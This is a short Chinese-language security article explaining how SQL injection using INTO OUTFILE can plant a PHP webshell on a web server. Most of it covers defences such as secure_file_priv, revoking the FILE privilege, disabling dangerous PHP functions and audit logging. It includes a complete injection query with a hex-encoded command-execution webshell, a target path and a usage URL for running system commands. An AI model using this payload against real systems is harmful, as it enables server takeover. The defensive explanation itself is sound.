聲明:本文僅用於安全原理分析與防禦體系建設,嚴禁用於非授權滲透測試或非法攻擊。請遵守《網絡安全法》等法律法規。
利用 UNION SELECT ... INTO OUTFILE 將精心構造的十六進制編碼 PHP 代碼寫入 Web 目錄,形成 Webshell。前提條件極其苛刻:
FILE 權限。secure_file_priv 未限制或目標目錄在允許範圍內。SELECT * FROM vbb_strikes WHERE 1
UNION SELECT 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E = 的 Hex 編碼。https://target/cmd.php?cmd=dir 即可執行系統命令。| 防禦機制 | 作用 |
|---|---|
secure_file_priv = /var/lib/mysql-files/ | 限制 OUTFILE 只能寫入指定目錄,通常非 Web 目錄 |
| 最小權限賬號 | 業務賬號無 FILE 權限 |
| WAF / 參數化查詢 | 阻斷 SQL 注入本身 |
| Web 目錄不可寫 | PHP-FPM/Apache 用戶無寫權限 |
| 禁用危險函數 | disable_functions=system,exec,shell_exec,passthru... |
| open_basedir | 限制 PHP 可訪問目錄 |
PreparedStatement,嚴禁字串拼接 SQL;輸入驗證、長度限制、類型轉換。REVOKE FILE ON *.* FROM 'app'@'%';secure_file_priv = /data/mysql-files/ (非 Web 目錄)audit_log 記錄所有 INTO OUTFILE、LOAD DATA 操作。chown root:root; chmod 755,PHP 運行用戶無寫權限。noexec,nosuid,nodev,禁用腳本解析。general_log 異常 INTO OUTFILE;建立文件完整性基線 (Tripwire/AIDE)。SQL 注入 → Webshell 是「殺傷鏈」的經典一環。斷開任一環 (注入點、FILE 權限、寫入路徑、解析執行) 即可阻斷攻擊。纵深防御比單點修補更可靠。